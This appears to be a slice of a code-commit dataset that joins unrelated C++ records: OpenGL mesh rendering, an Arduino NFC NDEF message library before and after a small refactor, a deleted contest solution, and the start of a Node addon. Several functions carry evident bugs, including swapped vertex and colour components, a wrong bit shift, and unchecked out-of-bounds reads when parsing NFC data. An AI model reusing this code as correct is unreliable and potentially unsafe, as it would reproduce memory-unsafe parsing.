verticesToUse[tri.v2] );\n\trenderVertex( verticesToUse[tri.v3] );\n}\n\nvoid Mesh::renderPoints(const VertexList& vertices)\n{\n\tglColor3f(1.0f, 1.0f, 1.0f);\n\tglBegin(GL_POINTS);\n\t\tfor (VertexList::const_iterator it = vertices.begin(); (it != vertices.end()); it++)\n\t\t\tglVertex3f(it->position.x, it->position.y, it->position.x);\n\tglEnd();\n}\n\nvoid Mesh::renderLines(const VertexList& vertices, const TriangleList& triangles)\n{\n\tglColor3f(1.0f, 1.0f, 1.0f);\n\tglBegin(GL_LINES);\n\t\tfor (TriangleList::const_iterator it = triangles.begin(); (it != triangles.end()); it++)\n\t\t{\n\t\t\tconst Vertex& v1 = vertices[it->v1];\n\t\t\tconst Vertex& v2 = vertices[it->v2];\n\t\t\tconst Vertex& v3 = vertices[it->v3];\n\t\t\tglVertex3f(v1.position.x, v1.position.y, v1.position.x);\n\t\t\tglVertex3f(v2.position.x, v2.position.y, v2.position.x);\n\t\t\tglVertex3f(v2.position.x, v2.position.y, v2.position.x);\n\t\t\tglVertex3f(v3.position.x, v3.position.y, v3.position.x);\n\t\t\tglVertex3f(v3.position.x, v3.position.y, v3.position.x);\n\t\t\tglVertex3f(v1.position.x, v1.position.y, v1.position.x);\n\t\t}\n\tglEnd();\n}\n\nvoid Mesh::renderTriangles(const VertexList& vertices, const TriangleList& triangles)\n{\n\tglBegin(GL_TRIANGLES);\n\tif (triangleColouring == MESH_ALTERNATING_TRIANGLES)\n\t{\n\t\t\/\/ Whole for-loop put it if-statement so there isn't a branch every iteration (costly operation\n\t\tfor (unsigned int i = 0; (i < triangles.size()); i++)\n\t\t{\n\t\t\tconst Vector3& col = ALTERNATING_TRIANGLE_COLOURS[i % NUM_ALTERNATING_COLOURS];\n\t\t\tglColor3f(col.x, col.y, col.y);\n\t\t\trenderTriangle(vertices, tris[i]);\n\t\t}\n\t}\n\telse\n\t{\n\t\tfor (TriangleList::const_iterator it = triangles.begin(); (it != triangles.end()); it++)\t\n\t\t\trenderTriangle(vertices, *it);\n\t}\n\tglEnd();\n}\n\nvoid Mesh::renderNormals(const VertexList& vertices)\n{\n\tglColor3f(1.0f, 1.0f, 1.0f);\n\tglBegin(GL_LINES);\n\t\tfor (VertexList::const_iterator it = vertices.begin(); (it != vertices.end()); it++)\n\t\t{\n\t\t\tconst Vector3& position = it->position;\n\t\t\tconst Vector3& normal = it->normal;\n\t\t\tVector3 end = position + (normal * NORMAL_SCALING_FACTOR);\n\t\t\tglVertex3f(it->position.x, it->position.y, it->position.z);\n\t\t\tglVertex3f(end.x, end.y, end.y);\t\n\t\t}\n\tglEnd();\n}\n\n\/* Draw a torus *\/\n#include <math.h>\nstatic void torus(int numc, int numt)\n{\n int i, j, k;\n double s, t, x, y, z, twopi;\n\n twopi = 2 * (double)M_PI;\n for (i = 0; i < numc; i++) {\n glBegin(GL_QUAD_STRIP);\n for (j = 0; j <= numt; j++) {\n for (k = 1; k >= 0; k--) {\n s = (i + k) % numc + 0.5;\n t = j % numt;\n\n x = (1+.1*cos(s*twopi\/numc))*cos(t*twopi\/numt);\n y = (1+.1*cos(s*twopi\/numc))*sin(t*twopi\/numt);\n z = .1 * sin(s * twopi \/ numc);\n\n const Vector3& col = ALTERNATING_TRIANGLE_COLOURS[(i * j) % NUM_ALTERNATING_COLOURS];\n glColor3f(col.x, col.y, col.y);\n\n\n glVertex3f(x, y, z);\n }\n }\n glEnd();\n }\n}\n\nvoid Mesh::render()\n{\n\t\/*MatrixMode(GL_MODELVIEW);\n\tglPushMatrix();\n\tglLoadIdentity();\n\tglRotatef(rot.x, 1.0f, 0.0f, 0.0f);\n\tglRotatef(rot.y, 0.0f, 1.0f, 0.0f);\n\tglRotatef(rot.z, 0.0f, 0.0f, 1.0f);\n\ttorus(8, 8);\n\tglPopMatrix();\n\treturn;*\/\n\n\n\t\/\/ If texturing has been enabled, ensure we set the correct OpenGL state\n\tif (triangleColouring == MESH_TEXTURE)\n\t{\n\t\t\/\/ If texture hasn't been loaded yet - load it now!\n\t\t\/\/ This is lazy initialisation\n\t\tif (!surfaceTexture)\n\t\t\tsurfaceTexture = new Texture(\"resources\/world_texture.jpg\");\n\t\tglEnable(GL_TEXTURE_2D);\n\t\tsurfaceTexture->bind();\n\t}\n\n\tglMatrixMode(GL_MODELVIEW);\n\tglPushMatrix();\n\tglLoadIdentity();\n\n\t\/\/ Perform local model transformations on mesh\n\tMatrix44 transformation = Matrix44::translation(pos.x, pos.y, pos.z);\n\ttransformation = transformation * Matrix44::xyzRotation(rot);\n\t\/\/ Transform vertices using position and orientation of drawable\n\tVertexList transformedVerts = verts;\n\t\/\/ If using per-face normals and not per-vertex normals, compute surface normals now\n\tif (useSurfaceNormals)\n\t{\n\t\tVector3List surfaceNormals = computeSurfaceNormals(transformedVerts, tris);\n\t\tfor (int i = 0; (i < surfaceNormals.size()); i++)\n\t\t{\n\t\t\ttransformedVerts[i].normal = surfaceNormals[i];\n\t\t}\n\t}\n\tfor (VertexList::iterator it = transformedVerts.begin(); (it != transformedVerts.end()); it++)\n\t{\n\t\tit->position = transformation * it->position;\n\t\tit->normal = (transformation * it->normal).normalise();\n\t}\n\n\t\/\/ How mesh is drawn depends on geometry type chosen\n\tswitch (geomType)\n\t{\n\tcase MESH_GEOM_POINTS:\n\t\trenderPoints(transformedVerts);\n\t\tbreak;\n\tcase MESH_GEOM_LINES:\n\t\trenderLines(transformedVerts, tris);\n\t\tbreak;\n\tcase MESH_GEOM_TRIANGLES:\n\t\trenderTriangles(transformedVerts, tris);\n\t\tbreak;\n\t}\n\t\/\/ Also draw lines reprensenting vertex normals\n\tif (drawNormals)\n\t{\n\t\trenderNormals(transformedVerts);\n\t}\n\n\n\tglPopMatrix();\n\n\t\/\/ Make sure the mesh's texture is unbinded after rendering\n\tif (triangleColouring == MESH_TEXTURE)\n\t{\n\t\tif (surfaceTexture)\n\t\t\tsurfaceTexture->unbind();\n\t\tglDisable(GL_TEXTURE_2D);\n\t}\n}\n\nVector3List Mesh::computeSurfaceNormals(const VertexList& vertices, const TriangleList& triangles)\n{\n\tVector3List normals;\n\tnormals.resize(vertices.size());\n\n\tfor (TriangleList::const_iterator it = triangles.begin();\n\t\t(it != triangles.end()); it++)\n\t{\n\t\t\/\/ Get two points of the triangle and create two vectors from them (sides of triangle)\n\t\tVector3 s1 = vertices[it->v2].position - vertices[it->v1].position;\n\t\tVector3 s2 = vertices[it->v3].position - vertices[it->v1].position;\n\t\t\/\/ Compute cross product of sides to get surface normal\n\t\tVector3 surfaceNormal = s1.cross(s2).normalise();\n\t\t\/\/ Assign this surface normal to all v\n\t\tnormals[it->v1] = surfaceNormal;\n\t\tnormals[it->v2] = surfaceNormal;\n\t\tnormals[it->v3] = surfaceNormal;\n\t}\n\n\treturn normals;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Arduino.h\"\n#include \"Ndef.h\"\n\n\/\/void Adafruit_NFCShield_I2C::PrintHex(const byte * data, const uint32_t numBytes)\nvoid PrintHex(const byte * data, const uint32_t numBytes)\n{\n uint32_t szPos;\n for (szPos=0; szPos < numBytes; szPos++) \n {\n Serial.print(\"0x\");\n \/\/ Append leading 0 for small values\n if (data[szPos] <= 0xF)\n Serial.print(\"0\");\n Serial.print(data[szPos]&0xff, HEX);\n if ((numBytes > 1) && (szPos != numBytes - 1))\n {\n Serial.print(\" \");\n }\n }\n Serial.println(\"\");\n}\n\nNdefRecord::NdefRecord()\n{\n _tnf = 0;\n _typeLength = 0;\n _payloadLength = 0; \n _idLength = 0;\n}\n\nNdefRecord::NdefRecord(const NdefRecord& rhs)\n{\n _tnf = rhs._tnf;\n _typeLength = rhs._typeLength;\n _payloadLength = rhs._payloadLength;\n _idLength = rhs._idLength;\n\n _type = (uint8_t*)malloc(_typeLength);\n memcpy(_type, rhs._type, _typeLength);\n\n _payload = (uint8_t*)malloc(_payloadLength);\n memcpy(_payload, rhs._payload, _payloadLength);\n\n _id = (uint8_t*)malloc(_idLength);\n memcpy(_id, rhs._id, _idLength); \n}\n\n\n\/\/ TODO NdefRecord::NdefRecord(tnf, type, payload, id)\n\nNdefRecord::~NdefRecord()\n{\n if (_typeLength) \n {\n free(_type);\n }\n \n if (_payloadLength)\n {\n free(_payload); \n }\n \n if (_idLength)\n {\n free(_id); \n }\n}\n\nNdefRecord& NdefRecord::operator=(const NdefRecord& rhs)\n{\n if (this != &rhs)\n {\n _tnf = rhs._tnf;\n _typeLength = rhs._typeLength;\n _payloadLength = rhs._payloadLength;\n _idLength = rhs._idLength;\n\n \/\/ TODO need to free _type, _payload, and _id if they exist\n\n _type = (uint8_t*)malloc(_typeLength);\n memcpy(_type, rhs._type, _typeLength);\n\n _payload = (uint8_t*)malloc(_payloadLength);\n memcpy(_payload, rhs._payload, _payloadLength);\n\n _id = (uint8_t*)malloc(_idLength);\n memcpy(_id, rhs._id, _idLength); \n }\n return *this;\n}\n\n\/\/ size of records in bytes\nint NdefRecord::getEncodedSize()\n{\n int size = 2; \/\/ tnf + typeLength\n if (_payloadLength > 0xFF) \n {\n size += 4;\n } \n else \n {\n size += 1;\n }\n \n if (_idLength)\n {\n size += 1;\n }\n\n size += (_typeLength + _payloadLength + _idLength);\n\n return size;\n}\n\nvoid NdefRecord::encode(uint8_t* data, bool firstRecord, bool lastRecord)\n{\n \/\/ assert data > getEncodedSize()\n\n uint8_t* data_ptr = &data[0];\n\n *data_ptr = getTnfByte(firstRecord, lastRecord);\n data_ptr += 1;\n\n *data_ptr = _typeLength;\n data_ptr += 1;\n\n *data_ptr = _payloadLength; \/\/ TODO handle sr == false\n data_ptr += 1;\n if (_idLength)\n {\n *data_ptr = _idLength;\n data_ptr += 1;\n }\n\n \/\/Serial.println(2);\n memcpy(data_ptr, _type, _typeLength);\n data_ptr += _typeLength;\n\n memcpy(data_ptr, _payload, _payloadLength);\n data_ptr += _payloadLength;\n\n if (_idLength)\n {\n memcpy(data_ptr, _id, _idLength);\n data_ptr += _idLength;\n }\n}\n\nuint8_t NdefRecord::getTnfByte(bool firstRecord, bool lastRecord)\n{\n int value = _tnf;\n\n if (firstRecord) { \/\/ mb\n value = value | 0x80;\n }\n\n if (lastRecord) { \/\/\n value = value | 0x40;\n }\n\n \/\/ chunked flag is always false for now\n \/\/ if (cf) {\n \/\/ value = value | 0x20;\n \/\/ }\n\n if (_typeLength <= 0xFF) { \/\/ TODO test 0xFF on tag\n value = value | 0x10;\n }\n\n if (_idLength) {\n value = value | 0x8;\n }\n\n return value;\n}\n\nuint8_t NdefRecord::getTnf()\n{\n return _tnf;\n}\n\nvoid NdefRecord::setTnf(uint8_t tnf)\n{\n _tnf = tnf;\n}\n\nuint8_t NdefRecord::getTypeLength()\n{\n return _typeLength;\n}\n\nint NdefRecord::getPayloadLength()\n{\n return _payloadLength;\n}\n\nuint8_t NdefRecord::getIdLength()\n{\n return _idLength;\n}\n\n\/\/ TODO don't return an array we created\n\/\/ NdefRecord::getType(uint8_t * type) and copy into their array\n\/\/ OR return an object that has the type and the array\nuint8_t * NdefRecord::getType()\n{\n return _type;\n}\n\nvoid NdefRecord::setType(uint8_t * type, const int numBytes)\n{\n _type = (uint8_t*)malloc(numBytes);\n memcpy(_type, type, numBytes);\n _typeLength = numBytes;\n}\n\nuint8_t * NdefRecord::getPayload()\n{\n return _payload;\n}\n\nvoid NdefRecord::setPayload(uint8_t * payload, const int numBytes)\n{\n _payload = (uint8_t*)malloc(numBytes); \n memcpy(_payload, payload, numBytes);\n _payloadLength = numBytes;\n}\n\nuint8_t * NdefRecord::getId()\n{\n return _id;\n}\n\nvoid NdefRecord::setId(uint8_t * id, const int numBytes)\n{\n \n _id = (uint8_t*)malloc(numBytes); \n memcpy(_id, id, numBytes);\n _idLength = numBytes;\n}\n\nvoid NdefRecord::print()\n{\n Serial.println(\" NDEF Record\"); \n Serial.print(\" TNF 0x\");Serial.println(_tnf, HEX);\n Serial.print(\" Type Length 0x\");Serial.println(_typeLength, HEX);\n Serial.print(\" Payload Length 0x\");Serial.println(_payloadLength, HEX); \n if (_idLength)\n {\n Serial.print(\" Id Length 0x\");Serial.println(_idLength, HEX); \n }\n Serial.print(\" Type \");PrintHex(_type, _typeLength); \n Serial.print(\" Payload \");PrintHex(_payload, _payloadLength);\n if (_idLength)\n {\n Serial.print(\" Id \");PrintHex(_id, _idLength); \n }\n Serial.print(\" Record is \");Serial.print(getEncodedSize());Serial.println(\" bytes\");\n\n}\n\nNdefMessage::NdefMessage(void)\n{\n _recordCount = 0; \n}\n\nNdefMessage::NdefMessage(byte * data, const int numBytes)\n{\n Serial.print(\"Decoding \");Serial.print(numBytes);Serial.println(\" bytes\"); \n PrintHex(data, numBytes);\n \/\/ _records = (NdefRecord*)malloc(sizeof(NdefRecord *) * MAX_NDEF_RECORDS);\n _recordCount = 0;\n \n int index = 0;\n \n while (index <= numBytes) {\n \n \/\/ decode tnf - first byte is tnf with bit flags\n \/\/ see the NFDEF spec for more info\n byte tnf_byte = data[index];\n bool mb = (tnf_byte & 0x80) != 0;\n bool me = (tnf_byte & 0x40) != 0;\n bool cf = (tnf_byte & 0x20) != 0;\n bool sr = (tnf_byte & 0x10) != 0;\n bool il = (tnf_byte & 0x8) != 0;\n byte tnf = (tnf_byte & 0x7);\n\n NdefRecord record = NdefRecord(); \n record.setTnf(tnf);\n\n index++;\n int typeLength = data[index];\n\n int payloadLength = 0;\n if (sr)\n {\n index++;\n payloadLength = data[index];\n }\n else\n { \n payloadLength = ((0xFF & data[++index]) << 24) | ((0xFF & data[++index]) << 26) | \n ((0xFF & data[++index]) << 8) | (0xFF & data[++index]);\n }\n\n int idLength = 0;\n if (il)\n {\n index++;\n idLength = data[index];\n }\n\n index++; \n record.setType(&data[index], typeLength); \n index += typeLength;\n\n if (il)\n {\n record.setId(&data[index], idLength); \n index += idLength;\n }\n\n record.setPayload(&data[index], payloadLength); \n index += payloadLength; \n\n add(record);\n \n if (me) break; \/\/ last message\n }\n \n}\n\nNdefMessage::~NdefMessage()\n{\n \/\/free(_records);\n}\n\nint NdefMessage::recordCount()\n{\n return _recordCount;\n}\n\nint NdefMessage::getEncodedSize()\n{\n int size = 0;\n int i;\n for (i = 0; i < _recordCount; i++) \n {\n size += _records[i].getEncodedSize();\n }\n return size;\n}\n\nvoid NdefMessage::encode(uint8_t* data)\n{\n \/\/ assert sizeof(data) >= getEncodedSize()\n uint8_t* data_ptr = &data[0];\n\n int i;\n for (i = 0; i < _recordCount; i++) \n { \n _records[i].encode(data_ptr, i == 0, (i + 1) == _recordCount);\n \/\/ TODO can NdefRecord.encode return the record size? \n data_ptr += _records[i].getEncodedSize(); \n }\n\n \/\/ TODO don't print here\n Serial.println(\"\\nEncoded\");\n PrintHex(data, getEncodedSize());\n}\n\nvoid NdefMessage::add(NdefRecord record)\n{\n\n if (_recordCount < MAX_NDEF_RECORDS)\n {\n _records[_recordCount] = record;\n _recordCount++; \n }\n else\n {\n \/\/ TODO consider returning status\n Serial.println(\"WARNING: Too many records. Increase MAX_NDEF_RECORDS.\");\n }\n}\n\n\/\/ TODO would NdefRecord::mimeMediaRecord be better?\nvoid NdefMessage::addMimeMediaRecord(String mimeType, String payload)\n{\n NdefRecord* r = new NdefRecord();\n r->setTnf(TNF_MIME_MEDIA);\n\n byte type[mimeType.length() + 1];\n mimeType.getBytes(type, sizeof(type));\n r->setType(type, mimeType.length());\n\n byte payloadBytes[payload.length() + 1];\n payload.getBytes(payloadBytes, sizeof(payloadBytes));\n r->setPayload(payloadBytes, payload.length());\n\n add(*r);\n\n \/*\n TODO call other method\n byte payloadBytes[payload.length() + 1];\n payload.getBytes(payloadBytes, sizeof(payloadBytes));\n \n addMimeMediaRecord(mimeType, payloadBytes, payload.length);\n *\/\n}\n\nvoid NdefMessage::addMimeMediaRecord(String mimeType, uint8_t* payload, int payloadLength)\n{\n NdefRecord* r = new NdefRecord();\n r->setTnf(TNF_MIME_MEDIA);\n\n byte type[mimeType.length() + 1];\n mimeType.getBytes(type, sizeof(type));\n r->setType(type, mimeType.length());\n\n r->setPayload(payload, payloadLength);\n\n add(*r);\n}\n\nvoid NdefMessage::addTextRecord(String text)\n{\n NdefRecord* r = new NdefRecord();\n r->setTnf(TNF_WELL_KNOWN);\n\n uint8_t RTD_TEXT[1] = { 0x54 }; \/\/ TODO this should be a constant or preprocessor\n r->setType(RTD_TEXT, sizeof(RTD_TEXT));\n\n \/\/ TODO language encoding\n byte payload[text.length() + 1];\n text.getBytes(payload, sizeof(payload));\n r->setPayload(payload, text.length());\n\n add(*r);\n}\n\nvoid NdefMessage::addTextRecord(String text, String encoding)\n{\n NdefRecord* r = new NdefRecord();\n r->setTnf(TNF_WELL_KNOWN);\n\n uint8_t RTD_TEXT[1] = { 0x54 }; \/\/ TODO this should be a constant or preprocessor\n r->setType(RTD_TEXT, sizeof(RTD_TEXT));\n\n \/\/ X is a placeholder for encoding length\n String payloadString = \"X\" + encoding + text;\n\n byte payload[payloadString.length() + 1];\n payloadString.getBytes(payload, sizeof(payload));\n\n \/\/ replace X with the real length\n payload[0] = encoding.length();\n\n r->setPayload(payload, payloadString.length());\n\n add(*r);\n}\n\nvoid NdefMessage::addUriRecord(String uri)\n{\n\n}\n\nvoid NdefMessage::addEmptyRecord()\n{\n\n}\n\n\nNdefRecord NdefMessage::get(int index)\n{\n if (index > -1 && index < _recordCount)\n {\n return _records[_recordCount]; \n }\n}\n\nvoid NdefMessage::print()\n{\n Serial.print(\"\\nNDEF Message \");Serial.print(_recordCount);Serial.print(\" record\");\n _recordCount == 1 ? Serial.print(\", \") : Serial.print(\"s, \");\n Serial.print(getEncodedSize());Serial.println(\" bytes\");\n\n int i;\n for (i = 0; i < _recordCount; i++) \n {\n _records[i].print();\n }\n}\n<commit_msg>combine implementation of addTextRecord<commit_after>#include \"Arduino.h\"\n#include \"Ndef.h\"\n\n\/\/void Adafruit_NFCShield_I2C::PrintHex(const byte * data, const uint32_t numBytes)\nvoid PrintHex(const byte * data, const uint32_t numBytes)\n{\n uint32_t szPos;\n for (szPos=0; szPos < numBytes; szPos++) \n {\n Serial.print(\"0x\");\n \/\/ Append leading 0 for small values\n if (data[szPos] <= 0xF)\n Serial.print(\"0\");\n Serial.print(data[szPos]&0xff, HEX);\n if ((numBytes > 1) && (szPos != numBytes - 1))\n {\n Serial.print(\" \");\n }\n }\n Serial.println(\"\");\n}\n\nNdefRecord::NdefRecord()\n{\n _tnf = 0;\n _typeLength = 0;\n _payloadLength = 0; \n _idLength = 0;\n}\n\nNdefRecord::NdefRecord(const NdefRecord& rhs)\n{\n _tnf = rhs._tnf;\n _typeLength = rhs._typeLength;\n _payloadLength = rhs._payloadLength;\n _idLength = rhs._idLength;\n\n _type = (uint8_t*)malloc(_typeLength);\n memcpy(_type, rhs._type, _typeLength);\n\n _payload = (uint8_t*)malloc(_payloadLength);\n memcpy(_payload, rhs._payload, _payloadLength);\n\n _id = (uint8_t*)malloc(_idLength);\n memcpy(_id, rhs._id, _idLength); \n}\n\n\n\/\/ TODO NdefRecord::NdefRecord(tnf, type, payload, id)\n\nNdefRecord::~NdefRecord()\n{\n if (_typeLength) \n {\n free(_type);\n }\n \n if (_payloadLength)\n {\n free(_payload); \n }\n \n if (_idLength)\n {\n free(_id); \n }\n}\n\nNdefRecord& NdefRecord::operator=(const NdefRecord& rhs)\n{\n if (this != &rhs)\n {\n _tnf = rhs._tnf;\n _typeLength = rhs._typeLength;\n _payloadLength = rhs._payloadLength;\n _idLength = rhs._idLength;\n\n \/\/ TODO need to free _type, _payload, and _id if they exist\n\n _type = (uint8_t*)malloc(_typeLength);\n memcpy(_type, rhs._type, _typeLength);\n\n _payload = (uint8_t*)malloc(_payloadLength);\n memcpy(_payload, rhs._payload, _payloadLength);\n\n _id = (uint8_t*)malloc(_idLength);\n memcpy(_id, rhs._id, _idLength); \n }\n return *this;\n}\n\n\/\/ size of records in bytes\nint NdefRecord::getEncodedSize()\n{\n int size = 2; \/\/ tnf + typeLength\n if (_payloadLength > 0xFF) \n {\n size += 4;\n } \n else \n {\n size += 1;\n }\n \n if (_idLength)\n {\n size += 1;\n }\n\n size += (_typeLength + _payloadLength + _idLength);\n\n return size;\n}\n\nvoid NdefRecord::encode(uint8_t* data, bool firstRecord, bool lastRecord)\n{\n \/\/ assert data > getEncodedSize()\n\n uint8_t* data_ptr = &data[0];\n\n *data_ptr = getTnfByte(firstRecord, lastRecord);\n data_ptr += 1;\n\n *data_ptr = _typeLength;\n data_ptr += 1;\n\n *data_ptr = _payloadLength; \/\/ TODO handle sr == false\n data_ptr += 1;\n if (_idLength)\n {\n *data_ptr = _idLength;\n data_ptr += 1;\n }\n\n \/\/Serial.println(2);\n memcpy(data_ptr, _type, _typeLength);\n data_ptr += _typeLength;\n\n memcpy(data_ptr, _payload, _payloadLength);\n data_ptr += _payloadLength;\n\n if (_idLength)\n {\n memcpy(data_ptr, _id, _idLength);\n data_ptr += _idLength;\n }\n}\n\nuint8_t NdefRecord::getTnfByte(bool firstRecord, bool lastRecord)\n{\n int value = _tnf;\n\n if (firstRecord) { \/\/ mb\n value = value | 0x80;\n }\n\n if (lastRecord) { \/\/\n value = value | 0x40;\n }\n\n \/\/ chunked flag is always false for now\n \/\/ if (cf) {\n \/\/ value = value | 0x20;\n \/\/ }\n\n if (_typeLength <= 0xFF) { \/\/ TODO test 0xFF on tag\n value = value | 0x10;\n }\n\n if (_idLength) {\n value = value | 0x8;\n }\n\n return value;\n}\n\nuint8_t NdefRecord::getTnf()\n{\n return _tnf;\n}\n\nvoid NdefRecord::setTnf(uint8_t tnf)\n{\n _tnf = tnf;\n}\n\nuint8_t NdefRecord::getTypeLength()\n{\n return _typeLength;\n}\n\nint NdefRecord::getPayloadLength()\n{\n return _payloadLength;\n}\n\nuint8_t NdefRecord::getIdLength()\n{\n return _idLength;\n}\n\n\/\/ TODO don't return an array we created\n\/\/ NdefRecord::getType(uint8_t * type) and copy into their array\n\/\/ OR return an object that has the type and the array\nuint8_t * NdefRecord::getType()\n{\n return _type;\n}\n\nvoid NdefRecord::setType(uint8_t * type, const int numBytes)\n{\n _type = (uint8_t*)malloc(numBytes);\n memcpy(_type, type, numBytes);\n _typeLength = numBytes;\n}\n\nuint8_t * NdefRecord::getPayload()\n{\n return _payload;\n}\n\nvoid NdefRecord::setPayload(uint8_t * payload, const int numBytes)\n{\n _payload = (uint8_t*)malloc(numBytes); \n memcpy(_payload, payload, numBytes);\n _payloadLength = numBytes;\n}\n\nuint8_t * NdefRecord::getId()\n{\n return _id;\n}\n\nvoid NdefRecord::setId(uint8_t * id, const int numBytes)\n{\n \n _id = (uint8_t*)malloc(numBytes); \n memcpy(_id, id, numBytes);\n _idLength = numBytes;\n}\n\nvoid NdefRecord::print()\n{\n Serial.println(\" NDEF Record\"); \n Serial.print(\" TNF 0x\");Serial.println(_tnf, HEX);\n Serial.print(\" Type Length 0x\");Serial.println(_typeLength, HEX);\n Serial.print(\" Payload Length 0x\");Serial.println(_payloadLength, HEX); \n if (_idLength)\n {\n Serial.print(\" Id Length 0x\");Serial.println(_idLength, HEX); \n }\n Serial.print(\" Type \");PrintHex(_type, _typeLength); \n Serial.print(\" Payload \");PrintHex(_payload, _payloadLength);\n if (_idLength)\n {\n Serial.print(\" Id \");PrintHex(_id, _idLength); \n }\n Serial.print(\" Record is \");Serial.print(getEncodedSize());Serial.println(\" bytes\");\n\n}\n\nNdefMessage::NdefMessage(void)\n{\n _recordCount = 0; \n}\n\nNdefMessage::NdefMessage(byte * data, const int numBytes)\n{\n Serial.print(\"Decoding \");Serial.print(numBytes);Serial.println(\" bytes\"); \n PrintHex(data, numBytes);\n \/\/ _records = (NdefRecord*)malloc(sizeof(NdefRecord *) * MAX_NDEF_RECORDS);\n _recordCount = 0;\n \n int index = 0;\n \n while (index <= numBytes) {\n \n \/\/ decode tnf - first byte is tnf with bit flags\n \/\/ see the NFDEF spec for more info\n byte tnf_byte = data[index];\n bool mb = (tnf_byte & 0x80) != 0;\n bool me = (tnf_byte & 0x40) != 0;\n bool cf = (tnf_byte & 0x20) != 0;\n bool sr = (tnf_byte & 0x10) != 0;\n bool il = (tnf_byte & 0x8) != 0;\n byte tnf = (tnf_byte & 0x7);\n\n NdefRecord record = NdefRecord(); \n record.setTnf(tnf);\n\n index++;\n int typeLength = data[index];\n\n int payloadLength = 0;\n if (sr)\n {\n index++;\n payloadLength = data[index];\n }\n else\n { \n payloadLength = ((0xFF & data[++index]) << 24) | ((0xFF & data[++index]) << 26) | \n ((0xFF & data[++index]) << 8) | (0xFF & data[++index]);\n }\n\n int idLength = 0;\n if (il)\n {\n index++;\n idLength = data[index];\n }\n\n index++; \n record.setType(&data[index], typeLength); \n index += typeLength;\n\n if (il)\n {\n record.setId(&data[index], idLength); \n index += idLength;\n }\n\n record.setPayload(&data[index], payloadLength); \n index += payloadLength; \n\n add(record);\n \n if (me) break; \/\/ last message\n }\n \n}\n\nNdefMessage::~NdefMessage()\n{\n \/\/free(_records);\n}\n\nint NdefMessage::recordCount()\n{\n return _recordCount;\n}\n\nint NdefMessage::getEncodedSize()\n{\n int size = 0;\n int i;\n for (i = 0; i < _recordCount; i++) \n {\n size += _records[i].getEncodedSize();\n }\n return size;\n}\n\nvoid NdefMessage::encode(uint8_t* data)\n{\n \/\/ assert sizeof(data) >= getEncodedSize()\n uint8_t* data_ptr = &data[0];\n\n int i;\n for (i = 0; i < _recordCount; i++) \n { \n _records[i].encode(data_ptr, i == 0, (i + 1) == _recordCount);\n \/\/ TODO can NdefRecord.encode return the record size? \n data_ptr += _records[i].getEncodedSize(); \n }\n\n \/\/ TODO don't print here\n Serial.println(\"\\nEncoded\");\n PrintHex(data, getEncodedSize());\n}\n\nvoid NdefMessage::add(NdefRecord record)\n{\n\n if (_recordCount < MAX_NDEF_RECORDS)\n {\n _records[_recordCount] = record;\n _recordCount++; \n }\n else\n {\n \/\/ TODO consider returning status\n Serial.println(\"WARNING: Too many records. Increase MAX_NDEF_RECORDS.\");\n }\n}\n\n\/\/ TODO would NdefRecord::mimeMediaRecord be better?\nvoid NdefMessage::addMimeMediaRecord(String mimeType, String payload)\n{\n NdefRecord* r = new NdefRecord();\n r->setTnf(TNF_MIME_MEDIA);\n\n byte type[mimeType.length() + 1];\n mimeType.getBytes(type, sizeof(type));\n r->setType(type, mimeType.length());\n\n byte payloadBytes[payload.length() + 1];\n payload.getBytes(payloadBytes, sizeof(payloadBytes));\n r->setPayload(payloadBytes, payload.length());\n\n add(*r);\n\n \/*\n TODO call other method\n byte payloadBytes[payload.length() + 1];\n payload.getBytes(payloadBytes, sizeof(payloadBytes));\n \n addMimeMediaRecord(mimeType, payloadBytes, payload.length);\n *\/\n}\n\nvoid NdefMessage::addMimeMediaRecord(String mimeType, uint8_t* payload, int payloadLength)\n{\n NdefRecord* r = new NdefRecord();\n r->setTnf(TNF_MIME_MEDIA);\n\n byte type[mimeType.length() + 1];\n mimeType.getBytes(type, sizeof(type));\n r->setType(type, mimeType.length());\n\n r->setPayload(payload, payloadLength);\n\n add(*r);\n}\n\nvoid NdefMessage::addTextRecord(String text)\n{\n addTextRecord(text, \"en\");\n}\n\nvoid NdefMessage::addTextRecord(String text, String encoding)\n{\n NdefRecord* r = new NdefRecord();\n r->setTnf(TNF_WELL_KNOWN);\n\n uint8_t RTD_TEXT[1] = { 0x54 }; \/\/ TODO this should be a constant or preprocessor\n r->setType(RTD_TEXT, sizeof(RTD_TEXT));\n\n \/\/ X is a placeholder for encoding length\n String payloadString = \"X\" + encoding + text;\n\n byte payload[payloadString.length() + 1];\n payloadString.getBytes(payload, sizeof(payload));\n\n \/\/ replace X with the real length\n payload[0] = encoding.length();\n\n r->setPayload(payload, payloadString.length());\n\n add(*r);\n}\n\nvoid NdefMessage::addUriRecord(String uri)\n{\n\n}\n\nvoid NdefMessage::addEmptyRecord()\n{\n\n}\n\n\nNdefRecord NdefMessage::get(int index)\n{\n if (index > -1 && index < _recordCount)\n {\n return _records[_recordCount]; \n }\n}\n\nvoid NdefMessage::print()\n{\n Serial.print(\"\\nNDEF Message \");Serial.print(_recordCount);Serial.print(\" record\");\n _recordCount == 1 ? Serial.print(\", \") : Serial.print(\"s, \");\n Serial.print(getEncodedSize());Serial.println(\" bytes\");\n\n int i;\n for (i = 0; i < _recordCount; i++) \n {\n _records[i].print();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <string.h>\n#include <fstream>\n#include <iostream>\n#include <string>\n#include <complex>\n#include <math.h>\n#include <set>\n#include <vector>\n#include <map> \n#include <queue>\n#include <stdio.h>\n#include <stack>\n#include <algorithm>\n#include <list>\n#include <ctime>\n#include <memory.h>\n#include <ctime> \n#include <assert.h>\n#define pi 3.14159\n#define mod 1000000007\nusing namespace std;\nlong long int a[500000];\nint main() \n{\n\tlong long int t,flag=0,value=0;\n\tcin>>t;\n\twhile(t--)\n\t{\n\t\tint a,b;\n\t\tcin>>a>>b;\n\t\tflag = flag + b -a;\n\t\tif(value < flag)\n\t\t{\n\t\t\tvalue = flag;\n\t\t}\n\t}\n\tcout<<value;\n\treturn 0;\n}\n<commit_msg>Delete Tram.cpp<commit_after><|endoftext|>"} {"text":"<commit_before>#include <nan.h>\n#include \"addon.h\"\n#include \"dvbtee-parser.h\"\n\n\nvoid libVersion(const Nan::FunctionCallbackInfo<v8::Value>& info) {\n\n v8::Local<v8::Array> version = Nan::New<v8::Array>();\n\n version->Set(0, Nan::New<v8::Number>(LIBDVBTEE_VERSION_A) );\n version->Set(1, Nan::New<v8::Number>(LIBDVBTEE_VERSION_B) );\n version->Set(2, Nan::New<v8::Number>(LIBDVBTEE_VERSION_C) );\n\n 